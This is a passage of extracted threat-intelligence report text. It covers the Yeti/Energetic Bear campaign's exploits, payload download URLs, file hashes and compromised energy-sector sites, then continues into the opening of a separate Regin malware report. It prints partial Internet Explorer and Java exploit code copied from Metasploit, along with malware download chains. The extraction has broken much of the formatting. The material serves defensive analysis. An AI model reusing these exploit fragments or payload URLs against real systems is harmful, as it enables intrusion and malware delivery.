Created-By: 1.7.0_11 (Oracle Corporation) +This exploit is ripped almost directly from the metasploit framework - it +s simply modified with an +additional string obfuscation handling method. The obfuscation code in this java exploit is fairly +weak but effective in modifying the metasploit code just enough to cover up similarities. The exploit +code was only slightly modified here to demonstrate the crypto routine and hardcoded string values +for the payload url and filepath: +Output here: +Another CVE-2013-2465(2014.03) +mahsms.ir/wp-includes/pomo/srgh.php?a=r2 +http://mahsms.ir/wp-includes/pomo/srgh.php?a=dwe +(%temp%\ntregsrv.exe) +TLP: Green +For any inquire please contact intelreports@kaspersky.com +7193a06fd7ffe78b67a5fc3c3b599116,file.jar, + dAFyTngH.class, 449 bytes + FVlMQjZg.class, 330 bytes + gYEgZwVz.class, 331 bytes + jqoZhkHr$MyBufferedImage.class, 495 bytes + jqoZhkHr.class, 4785 bytes + NNpGXbMk.class, 486 bytes + yqHWgAJa.class, 2783 bytes ++---META-INF +MANIFEST.MF, +Manifest-Version: 1.0\d\nCreated-By: 1.7.0_11 (Oracle Corporation) +CVE-2013-1347 - Internet Explorer exploit +kenzhebek.com_tiki/files/templates/listpages/negc.html +kenzhebek.com/tiki/files/templates/listpages/hoem.php +www.nahoonservices.com/wp-content/plugins/rss-poster/negc.html +ee6409deb87cabb1d573b9e1367bd0df, negc.html, Exploit.JS.CVE-2013-1347.a +ec7ce1f3eac658ebd31d26d8d719b14903502cdea4938e6935a74d9355fe5282 +2e27a5d1a4f4cf5729d23303a56daa70, negc.html, Exploit.JS.CVE-2013-1347.b +03637d861d1b58863a212d4993fe4d2f, tmpprovider0.dll, Trojan-Dropper.Win32.Daws.bqsi +cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 +The exploit itself is finicky. It is another rip of the corresponding metasploit code, with minor modifications. +See +Obvious Metasploit Rips + below. The shellcode delivered with the exploit is nothing out of the ordinary, +using expected thread environment variables to identify module locations in the memory... +The shellcode gets more interesting due to the manner in which the download url string was built. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The encoding algo was a simple additive 0x1010101 against every four bytes of the reversed string +kenzhebek.com/tiki/files/templates/listpages/hoem.php +, which was downloaded as a Havex +backdoor. The decoder looks like this... +CVE-2012-1889 - Internet Explorer components exploit +roxsuite.com/includes/phpmailer/irl.html +8b15ef4815c771a94b4adcaee8c67100 +718c6211cb78e5fea0e02be4960c23f6c1cdb1eedeb7a711b595b422c84076a3 +roxsuite.com/includes/phpmailer/page.jpg +c:\DOCUME~1\p\LOCALS~1\Temp\sysplug.exe +11c3bb242264fe5146854ca27ebd50b0, sysplug.exe, Worm.Win32.WBNA.pdj +Signed with Intel Certificate, Root CA Intel (likely spoofed) + %temp%\crtscp.exe +59f7a5d39c47bd62fedf24f5f2ea6e01, crtscp.exe, Worm.Win32.WBNA.pdj +24c9d984bdaf2152bde121393efbaa894d3a361090f6b97623a90567c27ee2ca +TLP: Green +For any inquire please contact intelreports@kaspersky.com + %temp%\spoolsv.dll +5441c2cfbdf1feafc3dafd69c34f5833, spoolsv.dll, Trojan.Win32.Agent.icrq +103ee051b40466a13f03021903ea49194c1d1e31064173e21798502bcf7e276a +Identifying the clsid used in this script is a giveaway on the targeted MS XML Core Services +software: +Of course, most of this code appears to be ripped from the corresponding metasploit exploit code. +Interestingly, the metasploit code was derived from 0day Itw at the time in June 2013. But the +attackers didn +t use it until after the vulnerability was patched. The Yeti attackers simply did not +need a 0-day arsenal. +The attackers must have known or expected that they were targeting Internet Explorer 7 on the +victims + systems. The later, updated versions of the corresponding metasploit code maintain ROP +to evade problems with attacking IE 8+ ASLR/DEP protections, but the Yeti code does not. This +absence is somewhat odd, because KSN events indicate the code was active in August 2013, and the +metasploit dev added ROP to their code in June 2013. +The shellcode delivered from this exploit also includes an unusual url and filename string build routine: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The decoded strings here: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +10.3. Obvious Metasploit Rips +The Yeti exploits are ripped line-for-line from the metasploit framework. +For example, class files served from www.nahoonservices.com/wp-content/plugins/rss-poster/start. +jar include code pulled from the msf. From the Yeti LyvAGalW.class file: +System.out.println( +Here we go... +String s = +jdbc:msf:sql://127.0.0.1:8080/sample +String s2 = +userid +String s3 = +password +java.sql.Connection connection = DriverManager.getConnection(s, s2, s3); +And for comparison, here is the java exploit code from metasploit framework: github.com/rapid7/ +metasploit-framework/blob/master/external/source/exploits/cve-2013-1488/Exploit.java: +System.out.println( +Here we go... +String url = +jdbc:msf:sql://127.0.0.1:8080/sample +String userid = +userid +String password = +password +Connection con = DriverManager.getConnection(url, userid, password); +Yeti +s delivery of CVE-2013-1347 from nahoonservices.com/wp-content/plugins/rss-poster/negc. +html displays much the same level of technical originality. From negc.html +f0 = document.createElement( +span +document.body.appendChild(f0); +f1 = document.createElement( +span +document.body.appendChild(f1); +f2 = document.createElement( +span +document.body.appendChild(f2); +document.body.contentEditable= +true +f2.appendChild(document.createElement( +datalist +f1.appendChild(document.createElement( +span +f1.appendChild(document.createElement( +table +try{ +f0.offsetParent=null; +}catch(e) { +}f2.innerHTML= +TLP: Green +For any inquire please contact intelreports@kaspersky.com +f0.appendChild(document.createElement( +f1.innerHTML= +CollectGarbage(); +try { +a = document.getElementById( +myanim +a.values = animvalues; +catch(e) {} +The matching CVE-2013-1347 code pulled from msf +https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ +browser/ie_cgenericelement_uaf.rb (minor modifications made to its shellcode build algorithm. +Actually, the Yeti version is dumbed down, when compared to the metasploit framework version ): +f0 = document.createElement( +span +document.body.appendChild(f0); +f1 = document.createElement( +span +document.body.appendChild(f1); +f2 = document.createElement( +span +document.body.appendChild(f2); +document.body.contentEditable= +true +f2.appendChild(document.createElement( +datalist +f1.appendChild(document.createElement( +span +f1.appendChild(document.createElement( +table +try{ +f0.offsetParent=null; +}catch(e) { +}f2.innerHTML= +f0.appendChild(document.createElement( +f1.innerHTML= +CollectGarbage(); +try { +a = document.getElementById( +myanim +a.values = animvalues; +catch(e) {} +TLP: Green +For any inquire please contact intelreports@kaspersky.com +10.4. Changing Lights Out exploit sites + download flow +In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would +cascade into more Yeti components planted on victim systems. The java exploit in turn downloaded +Karagany backdoors, which in turn downloaded stealers from 91.203.6.71: +User visits utilico.co.uk + redirected to + nahoonservices.com + Java Exploits +www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar +www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php +a615d71af0c856c89bb8ebb5c6e7644d +fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 +juch.php saved as +searchindexer.exe +, or +coresyns.exe + and run, then downloads and runs... + 91.203.6.71/check2/muees27jxt/fl.exe +4bfdda1a5f21d56afdc2060b9ce5a170 +07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 + 91.203.6.71/check2/muees27jxt/scs.exe +da94235635f61a06a35882d30c7b62b3 +05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 +In a later incident, KSN data recorded one origin of these exploits as: +hxxp://keeleux.com/sfreg/img/nav/gami.jar and +hxxp://keeleux.com/sfreg/img/nav/stoh.jar (ab580bd7a1193fe01855a6b8bd8f456b) +The file +stoh.jar + includes +DownloadExec.class +, which maintains a hardcoded string to the URL. +This string appears to be more commonly implemented at the active exploit sites: +hxxp://keeleux.com/sfreg/img/nav/iden21php?dwl=fne +It writes out the TmpProvider.dll Havex loader downloaded from this resource and runs it using +rundll32.exe +eWON trojanized installer detail: +hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe (eb0dacdc8b346f44c8c370408bad43 +06,70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9) +Havex loader version 038 +(401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67) dropped as +TmpProvider.dll. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +10.5. Related Targeted Software and CVE Entries +Internet Explorer +CVE-2013-1347 +http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1347 +Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote +attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) +is deleted, as exploited in the wild in May 2013. +CVE-2012-1889 +http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889 +Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which +allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) +via a crafted web site. +Java +CVE-2013-1488 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1488 +The Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, +and OpenJDK 6 and 7, allows remote attackers to execute arbitrary code via unspecified vectors +involving reflection, Libraries, +improper toString calls, + and the JDBC driver manager, as +demonstrated by James Forshaw during a Pwn2Own competition at CanSecWest 2013. +CVE-2012-1723 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723 +Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE +7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier +allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors +related to Hotspot. +CVE-2012-5076 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-cve-2012-5076 +Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 +Update 7 and earlier allows remote attackers to affect confidentiality, integrity, and availability, +related to JAX-WS. +CVE-2013-2465 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2465 +Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE +TLP: Green +For any inquire please contact intelreports@kaspersky.com +7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK +7, allows remote attackers to affect confidentiality, integrity, and availability via unknown +vectors related to 2D. NOTE: the previous information is from the June 2013 CPU. Oracle has not +commented on claims from another vendor that this issue allows remote attackers to bypass the +Java sandbox via vectors related to +Incorrect image channel verification + in 2D. +CVE-2013-2423 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2423 +Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE +7 Update 17 and earlier, and OpenJDK 7, allows remote attackers to affect integrity via unknown +vectors related to HotSpot. NOTE: the previous information is from the April 2013 CPU. Oracle +has not commented on claims from the original researcher that this vulnerability allows remote +attackers to bypass permission checks by the MethodHandles method and modify arbitrary public +final fields using reflection and type confusion, as demonstrated using integer and double fields to +disable the security manager. +CVE-2012-4681 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-4681 +Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 +Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that +bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass +and leveraging an exception with the forName method to access restricted classes from arbitrary +packages such as sun.awt.SunToolkit, then (2) using +reflection with a trusted immediate caller +leverage the getField method to access and modify private fields, as exploited in the wild in August +2012 using Gondzz.class and Gondvv.class. +CVE-2013-0422 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-cve-2013-0422 +Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute +arbitrary code by (1) using the public getMBeanInstantiator method in the JmxMBeanServer class to +obtain a reference to a private MBeanInstantiator object, then retrieving arbitrary Class references +using the findClass method, and (2) using the Reflection API with recursion in a way that bypasses +a security check by the java.lang.invoke.MethodHandles.Lookup.checkSecurityManager method +due to the inability of the sun.reflect.Reflection.getCallerClass method to skip frames related to the +new reflection API, as exploited in the wild in January 2013, as demonstrated by Blackhole and +Nuclear Pack, and a different vulnerability than CVE-2012-4681 and CVE-2012-3174. NOTE: some +parties have mapped the recursive Reflection API issue to CVE-2012-3174, but CVE-2012-3174 is for +a different vulnerability whose details are not public as of 20130114. CVE-2013-0422 covers both +the JMX/MBean and Reflection API issues. NOTE: it was originally reported that Java 6 was also +vulnerable, but the reporter has retracted this claim, stating that Java 6 is not exploitable because +TLP: Green +For any inquire please contact intelreports@kaspersky.com +the relevant code is called in a way that does not bypass security checks. NOTE: as of 20130114, a +reliable third party has claimed that the findClass/MBeanInstantiator vector was not fixed in Oracle +Java 7 Update 11. If there is still a vulnerable condition, then a separate CVE identifier might be +created for the unfixed issue. +Mozilla Firefox +CVE-2013-1690 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-1690 +Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and +Thunderbird ESR 17.x before 17.0.7 do not properly handle onreadystatechange events in +conjunction with page reloading, which allows remote attackers to cause a denial of service +(application crash) or possibly execute arbitrary code via a crafted web site that triggers an attempt +to execute data at an unmapped memory location. +Adobe Reader +CVE-2010-2883 +https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2883 +Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x +before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause +a denial of service (application crash) via a PDF document with a long field in a Smart INdependent +Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of +these details are obtained from third party information. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +XI. Appendix 11: +Malicious Domains and Redirectors +Exploit URL +Client +side +software +parkour.kz/wp-content/plugins/checkbot/kool.jar +Java +www.nahoonservices.com/wp-content/plugins/rssposter/negc.html +nahoonservices.com/wp-content/plugins/rss-poster/ +jungle.pdf +nahoonservices.com/wp-content/plugins/rss-poster/ +direct.jar +waytomiracle.com/physics/wp-content/plugins/ +akismet/kool.jar +kenzhebek.com/tiki/files/templates/listpages/start. +kenzhebek.com/tiki/files/templates/listpages/negc. +html +kenzhebek.com/tiki/files/templates/listpages/negq. +html +kenzhebek.com/tiki/files/templates/listpages/stoq. +Internet +Explorer +Adobe +Reader +Java +cve-2012-1723 +keeleux.com/sfreg/img/nav/leks.jar +Java +cve-2012-1723 2013.08 +Java +cve-2013-1488 2013.07 +Java +cve-2012-5076 2012.12 +Java +cve-2012-5076 2013.02 +adultfriendfrance.com/wp-includes/pomo/Applet.jar Java +cve-2012-1723 2013.02 +lafollettewines.com/blog/wp-includes/pomo/direct. +Java +cve-2013-0422 2013.02 +lafollettewines.com/blog/wp-includes/pomo/leks.jar Java +cve-2012-1723 2013.02 +www.nahoonservices.com/wp-content/plugins/rssposter/start.jar +www.nahoonservices.com/wp-content/plugins/rssposter/dgoat.jar +adultfriendgermany.com/wp-content/plugins/ +google-analytics-for-wordpress/etihu.jar +TLP: Green +Approximately +Active +2013.06 2013.12 +2013.07 cve-2013-1347 +2013.08 +cve-2013-2465 +cve-2010-2883 2012.12 +Java +cve-2013-0422 2013.05 +Java +cve-2013-2465 2014.01 +Java +cve-2013-2423 +Internet +Explorer +Internet +Explorer +2013.05 2013.09 +cve-2013-1347 2013.05 +cve-2013-1347 2013.08 +2013.05 2013.09 +For any inquire please contact intelreports@kaspersky.com +Client +side +software +Exploit URL +roxsuite.com/components/com_search/views/ +Java +search/tmpl/outstat.jar +claudia.dmonzon.com/wp-content/plugins/jetpack/_ +Java +inc/Outstat.jar +Approximately +Active +cve-2012.4681 2013.11 +cve-2012-4681 2013.11 +aziaone.com/wp-includes/pomo/Outstatsf.jar +Java +cve-2012-4681 2012.09 +roxsuite.com/includes/phpmailer/bara.jar +Java +cve-2012-1723 2012.08 +serviciosglobal.com/classes/kool.jar +Java +cve-2013-2465 2013.11 +mohsenmeghdari.com/addons/_defensio/leks.jar +Java +cve-2012-1723 2013.10 +mohsenmeghdari.com/addons/_defensio/negc.html +Internet +Explorer +cve-2013-1347 2013.09 +mahsms.ir/wp-includes/pomo/srgh.php?a=r2 +Java +cve-2013-2465 2014.01 +cum-filled-trannys.com/wp-includes/pomo/Deliver. +Java +cve-2012-4681 2012.08 +woman-site.com/modules/mod_search/stoh.jar +Java +cve-2012-1723 2013.11 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Compromised Referrer +gse.com.ge +gamyba.le.lt +utilico.co.uk +yell.ge +chariotoilandgas.com +TLP: Green +Referrer Profile +Georgian State Electrosystem +(GSE) - 100% state-owned +joint stock company providing +transmission and exclusive +dispatch services to about 50 +eligible companies in Georgia +Lietuvos energijos gamyba Lithuania +s largest electricity +generating company, which +combines all state-operated +electricity generating capacities +Investment company +significant proportion of +its Gross Assets invested in +developed markets in existing +utilities and related stocks, +including...water and sewerage +companies, waste, electricity, +gas, telecommunications, ports, +airports, service companies, +rail, roads, any business with +essential service or monopolistic +characteristics and in any new +utilities +Chairman - +has many years +experience in the international +utility sector, playing a major +role in the restructuring and +privatization of the UK electricity +industry +Georgian Yellow Pages, maintains +Manganese mining org contacts +Chariot Oil and Gas Limited +- independent oil and gas +exploration company with +interests in Namibia and +Mauritania +Exploit Site +Approximately +Active +lafollettewines. +2013 Q1 +lafollettewines. +2013 Q3 +nahoonservices. +2012 Q4 - 2013 +nahoonservices. +2012 Q4 - 2013 +nahoonservices. +2012 Q4 - 2013 +For any inquire please contact intelreports@kaspersky.com +Compromised Referrer +longreachoilandgas.com +strainstall.com +jfaerospace.com +vitogaz.com +vitogaz.com +bsicomputer.com +TLP: Green +Referrer Profile +Exploit Site +Longreach Oil & Gas Ltd. - fast +growing oil and gas exploration +company, with significant license +interest in onshore and offshore +Morocco +For more than 45 years Strainstall +has helped industries worldwide +to operate safely by ensuring +that structures, equipment and +infrastructure are safe to use. +We have developed world-class +systems to monitor physical and +performance parameters such +as load, stress, temperature, +acceleration, pressure and +displacement +James Fisher Aerospace (JFA) +is an internationally respected +aerospace project organization, +with an extensive multi-skilled +engineering design and global +supply capability supporting +military and civil aerospace +industries +Formerly known as JF Faber, +the company +s expertise and +experience includes extensive +projects in aerospace as well as in +a variety of other high integrity +industries +French-based gas distributor, +supplier and technical developer +French-based gas distributor, +supplier and technical developer +California-based industrial +computer systems manufacturer +and developer +nahoonservices. +Approximately +Active +2012 Q4 - 2013 +nahoonservices. +2012 Q4 - 2013 +nahoonservices. +2012 Q4 - 2013 +serviciosglobal. +2013 Q4 +keeleux.com +2013 Q4 +serviciosglobal. +2013 Q4 +For any inquire please contact intelreports@kaspersky.com +Compromised Referrer +energyplatform.eu +firstenergy.com +firstenergy.com +www.energo-pro.ge +energo-pro.ge +gritech.fr +TLP: Green +Referrer Profile +French-based RBF, Renewables +Business Facilitator - organization +representing 200 renewable +energy research centers and +businesses +FirstEnergy Capital - Calgary +based investment banking +provider. Financial, advisory and +investment services to the global +energy sector +FirstEnergy Capital - Calgary +based investment banking +provider. Financial, advisory and +investment services to the global +energy sector +Energy Pro Georgia - one of the +biggest energy companies in the +region...vast investments in the +development and maintenance +of company owned renewable +energy objects, rehabilitation of +grid infrastructure and service +improvement +Energy Pro Georgia - one of the +biggest energy companies in the +region...vast investments in the +development and maintenance +of company owned renewable +energy objects, rehabilitation of +grid infrastructure and service +improvement +GritecH - engineering company +in the field of high voltage and +computing power transmission +steel structures +Exploit Site +Approximately +Active +serviciosglobal. +2013 Q4 +serviciosglobal. +2013 Q4 +kenzhebek.com +2013 Q3 +kenzhebek.com +2013 Q2, Q3 +keeleux.com +2013 Q2 +keeleux.com +2013 Q4 +For any inquire please contact intelreports@kaspersky.com +Compromised Referrer +rare.fr +used.samashmusic.com +sbmania.net +39essex.com +meteo.orange.fr +energyplatform.eu +gritech.fr +TLP: Green +Referrer Profile +seau national des Agences +gionales de l +Energie et de +Environnement - brings together +12 partners + Operational +partnerships have been +established with the Ministry +of Ecology, Energy, Sustainable +Development and the Sea... +ADEME and the network of local +energy agencies (FLAME) +US-based website - used musical +instrument stores located across +the US. Frequently emails +potential customers with links to +site +Sponge Bob fan site SpongeBuddy +Mania - includes a forum where +individuals can be specifically +targeted, including adults +British based global advisers legal mediation and advocacy, +policy and business advice +French-based weather forecasting +for Saint Gervais, FR +French-based RBF, Renewables +Business Facilitator - organization +representing 200 renewable +energy research centers and +businesses +GritecH - engineering company +in the field of high voltage and +computing power transmission +steel structures +Exploit Site +Approximately +Active +keeleux.com +2013 Q4 +waytomiracle. +2014 Q1 +waytomiracle. +2014 Q1 +serviciosglobal. +2013 Q4 +serviciosglobal. +2013 Q4 +woman-site.com +2013 Q4 +woman-site.com +2013 Q4 +For any inquire please contact intelreports@kaspersky.com +Compromised Referrer +Referrer Profile +vitoreseau.com +So far the only collective +alternative energy natural gas was +electricity. Now, with the solution +VITORESEAU + choice exists. +VITOGAZ gives your town a safe, mahsms.ir +efficient and economical to the +problem of gas supply places +inaccessible to traditional city gas +response. +TLP: Green +Exploit Site +Approximately +Active +2014 Q1 +For any inquire please contact intelreports@kaspersky.com +XII. Appendix 12: +Previous and parallel research +ENERGY WATERING HOLE ATTACK USED LIGHTSOUT EXPLOIT KIT, Threatpost +http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit +http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit +Watering-Hole Attacks Target Energy Sector, Cisco Security +http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector/ +Global Threat Report 2013, Crowdstrike +http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_ +Global_Threat_Report_2013.pdf +Talk2M Incident Report, [30-01-2014], eWON +The eWON commercial website www.ewon.biz has been attacked. A corrupted eCatcherSetup.exe +file has been placed into the CMS (Content Management System) of www.ewon.biz website and +eCatcher download hyperlinks have been rerouted to this corrupted file. +http://www.talk2m.com/en/full_news.html?cmp_id=7&news_id=51 +LightsOut EK: +By the way... How much is the fish!? +, Malwageddon +http://malwageddon.blogspot.ru/2013/09/unknown-ek-by-way-how-much-is-fish.html +LightsOut EK Targets Energy Sector, Zscalar Threatlab +http://research.zscaler.com/2014/03/lightsout-ek-targets-energy-sector.html +Advisory (ICSA-14-178-01), ICS Focused Malware, ICS-CERT +http://ics-cert.us-cert.gov/advisories/ICSA-14-178-01 +havex-rat + [analysis], Gi0vann1 Sug4r +http://pastebin.com/2x1JinJd +[analysis], @unixfreaxjp +http://pastebin.com/raw.php?i=qCdMwtZ6 +Hello, a new specifically covered exploit kit, Snort VRT +http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Continued analysis of the LightsOut Exploit Kit, Snort VRT +http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html +http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html +An Overview of Exploit Packs (Update 20) Jan 2014, Mila, Contagio +http://contagiodump.blogspot.com/2010/06/overview-of-exploit-packs-update.html +Havex Hunts For ICS/SCADA Systems, f-secure +http://www.f-secure.com/weblog/archives/00002718.html +Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec +http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/ +Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf +CCIRC Operational Summary - REPORTING PERIOD: FEBRUARY 16, 2014 + MARCH 1, 2014 +Targeted attacks against Canadian energy sector +, Canadian Cyber Incident Response Centre +http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC++Operational+Summary+-+16February+2014+to+1+March+_2.pdf +TLP: Green +For any inquire please contact intelreports@kaspersky.com +THE REGIN PLATFORM +NATION-STATE OWNERSHIP +OF GSM NETWORKS +Kaspersky Lab Report +Version 1.0 +24 November 2014 +Contents +Introduction, history...................................................................................................................................................... 3 +Initial compromise and lateral movement................................................................................................................... 3 +The Regin platform........................................................................................................................................................ 4 +Stage 1 + 32/64 bit................................................................................................................................................ 4 +Stage 2 + loader + 32-bit....................................................................................................................................... 7 +Stage 2 + loader + 64-bit....................................................................................................................................... 8 +Stage 3 + 32-bit + kernel mode manager +VMEM.sys +........................................................................................ 8 +Stage 3 + 64-bit....................................................................................................................................................... 9 +Stage 4 (32-bit) / 3 (64-bit) + dispatcher module, +disp.dll +................................................................................. 9 +32-bit.................................................................................................................................................................. 9 +64-bit.................................................................................................................................................................. 9 +Stage 4 + Virtual File Systems (32/64-bit).......................................................................................................... 10 +Unusual modules and artifacts.................................................................................................................................. 16 +Artifacts.................................................................................................................................................................. 16 +GSM targeting........................................................................................................................................................ 18 +Communication and C&C........................................................................................................................................... 20 +Victim statistics .......................................................................................................................................................... 22 +Attribution.................................................................................................................................................................... 23 +Conclusions................................................................................................................................................................. 23 +Technical appendix and indicators of compromise................................................................................................... 24 +Yara rules................................................................................................................................................................ 24 +MD5s...................................................................................................................................................................... 25 +Registry branches used to store malware stages 2 and 3............................................................................. 26 +C&C IPs................................................................................................................................................................... 26 +VFS RC5 decryption algorithm.............................................................................................................................. 27 +TLP: GREEN +Contact: intelreports@kaspersky.com +Introduction, history +In the spring of 2012, following a Kaspersky Lab presentation on the unusual facts surrounding the Duqu +malware (http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu), a security researcher +contacted us and mentioned that Duqu reminded him of another high-end malware incident. Although he +couldn +t share a sample, the researcher mentioned +Regin +, a type of malware attack that is now dreaded +by security administrators in many government agencies around the world. +For the past three years we have been tracking this most elusive malware all around the world. From time +to time samples would appear on various multi-scanner services, but they were all unrelated to each other, +cryptic in functionality, and lacking in context. +It is unknown exactly when the first samples of Regin appeared in the wild. Some of them have timestamps +dating back to 2003. +The victims of Regin fall into the following categories: + Telecom operators + Government institutions + Multinational political bodies + Financial institutions + Research institutions + Individuals involved in advanced mathematical/cryptographic research +So far, we +ve observed two main objectives of the attackers: + Intelligence gathering + Facilitating other types of attacks +While in most cases the attackers were focused on extracting sensitive information such as emails and other electronic documents, we have observed cases where the attackers compromised telecom operators to enable the +launch of additional sophisticated attacks. This is discussed in detail in the GSM attacks section, below. +Perhaps one of the most well-known victims of Regin was Jean Jacques Quisquater (https://en.wikipedia.org/ +wiki/Jean-Jacques_Quisquater), a well-known Belgian cryptographer. In February 2014, Quisquater announced +he was the victim of a sophisticated cyber-intrusion incident. We were able to obtain samples from the Quisquater +case and confirm they belong to the Regin platform. +Another victim of Regin was a computer we call the +Magnet of Threats +. The computer belongs to a certain +research institution and, besides Regin, it has been attacked by Animal Farm, Itaduke, Mask/Careto, Turla, +and some other advanced threats that do not have public names, all co-existing happily on the same computer +at some point. +Initial compromise and lateral movement +The exact method used for the initial compromise remains a mystery, although several theories exist, including +use of man-in-the-middle attacks with browser zero-day exploits. For some of the victims we observed tools and +modules designed for lateral movement. So far we have not encountered any exploits. The replication modules +are copied to remote computers using Windows administrative shares and then executed. Obviously this technique requires administrative privileges inside the victim +s network. In several cases the infected machines +were also Windows domain controllers. Targeting of system administrators via web-based exploits is a simple +way of achieving immediate administrative access to the entire network. +TLP: GREEN +Contact: intelreports@kaspersky.com +The Regin platform +Although some private research groups refer to it as the +Regin malware +, it is not entirely accurate to use +the term malware in this case. In essence, Regin is a cyberattack platform, which the attackers deploy in victim +networks for total remote control at all levels. +The platform is extremely modular in nature and has multiple stages. +Regin platform diagram +Stage 1 + 32/64 bit +Known MD5s: +01c2f321b6bfdb9473c079b0797567ba +06665b96e293b23acc80451abb413e50 +187044596bc1328efa0ed636d8aa4a5c +1c024e599ac055312a4ab75b3950040a +26297dc3cd0b688de3b846983c5385e5 +2c8b9d2885543d7ade3cae98225e263b +47d0e8f9d7a6429920329207a32ecc2e +4b6b86c7fec1c574706cecedf44abded +6662c390b2bbbd291ec7987388fc75d7 +744c07e886497f7b68f6f7fe57b7ab54 +b269894f434657db2b15949641a67532 +b29ca4f22ae7b7b25f79c1d4a421139d +b505d65721bb2453d5039a389113b566 +ba7bb65634ce1e30c1e5415be3d1db1d +bfbe8c3ee78750c3a520480700e440f8 +d240f06e98c8d3e647cbf4d442d79475 +db405ad775ac887a337b02ea8b07fddc +TLP: GREEN +Contact: intelreports@kaspersky.com +ffb0b9b5b610191051a7bdf0806e1e47 +In general, the first samples victims detect in their networks are stage 1 loaders. These are the easiest to notice +because they are the only executables that exist directly on the victim +s computer. +These samples use an odd technique to load the next stages, which until recently was unique to Regin. Interestingly, in mid-2012, the ZeroAccess gang implemented a very similar loading mechanism, which possibly +suggests it learned about Regin and its unique features. (See http://www.symantec.com/connect/blogs/ +trojanzeroaccessc-hidden-ntfs-ea). +The particular feature used (or abused) by Regin to hide its next stages is called NTFS Extended Attributes +(EA). Originally, these were implemented in Windows NT for compatibility with OS/2 applications; however, they +made their way into later versions of Windows, namely 2000, XP and Vista. The malware hides its modules in +NTFS EAs, splitting large files into several blocks of limited size. These are dynamically joined, decrypted and +executed in memory. +Most of the stage 1 samples we have seen appear to have been built on top of other source code projects, +which are +piggybacked +; for instance, the Ser8UART project: +http://www.mirrorservice.org/sites/downloads.sourceforge.net/s/se/ser8uart-driver/ser8uart-driver/ +Ser8UART%20%201.1.2.1/. +For instance, the Regin loader with md5 01c2f321b6bfdb9473c079b0797567ba was built on top of the +Ser8UART source code. A careful examination however spots the encrypted configuration block at offset 0x5600. +We can assume the attackers take various low-level open-source projects or Windows DDK source codes and +merge them together with their malicious loader. Hence, each stage 1 loader looks very different from others, +as it contains random useless code from various other programs. This technique makes it more difficult to build +reliable detection for the loaders. +Despite the differences, all stage 1 samples are similar in functionality. They contain an encrypted config block +that points to the next stages: +Once decrypted, the block contains several folder names and registry key names: +TLP: GREEN +Contact: intelreports@kaspersky.com +In the example above, the stage 1 tries to load a second stage from the extended attributes of the system directory specified in the configuration block (in our case, the WINDOWS folder). It also tries to read additional data +from the EAs of the second directory (in our case, the WINDOWS\fonts directory). The second attribute value +is optional and may have been used to 